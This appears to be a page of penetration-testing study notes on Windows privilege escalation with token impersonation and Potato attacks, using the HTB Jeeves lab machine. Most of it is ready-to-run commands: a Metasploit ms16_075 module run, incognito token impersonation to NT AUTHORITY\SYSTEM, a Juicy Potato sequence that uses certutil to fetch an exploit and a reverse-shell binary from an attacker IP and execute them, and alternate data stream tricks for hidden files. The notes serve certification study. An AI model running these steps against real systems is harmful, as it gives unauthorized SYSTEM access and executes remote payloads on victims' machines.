> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/windows-privilege-escalation/impersonation-and-potato-attacks.md).
# Impersonation and Potato Attacks
## Token Impersonation Overview
[Token impersonation explained](/active-directory/post-compromise-attacks/token-impersonation.md)
HTB Machine Jeeves
{% embed url="" %}
## Potato Attack Overview
High level Overview from foxglovesecurity
## Escalation via Potato Attack
After getting a **meterpreter** shell
```bash
background
use exploit/windows/local/ms16_075_reflection
set LHOST tun0
set LPORT 1738 <-- Something different from the first shell
exploit
```
Inside of new **meterpreter** shell
```bash
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
shell
whoami
```
## Manual Juicy Potato Attack
```
cd C:\Windows\System32\spool\drivers\color\
certutil.exe -urlcache -f http://10.9.209.91/JuicyPotato.exe juicy.exe
certutil.exe -urlcache -f http://10.9.209.91/shell.exe
juicy.exe -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p "C:\Windows\System32\spool\drivers\color\shell.exe"
```
## Resources
{% embed url="" %}
Technical Overview
{% endembed %}
{% embed url="" %}
Other Version
{% endembed %}
{% embed url="" %}
## Bonus
### Alternate Data Streams
Alternate datastreams are a file attribute in NTFS only. Regular data stream is primary text inside of a file. Alternate is a way to hide informtion inside of a file
```
dir /r
more hm.txt:root.txt:$DATA
```
{% embed url="" %}
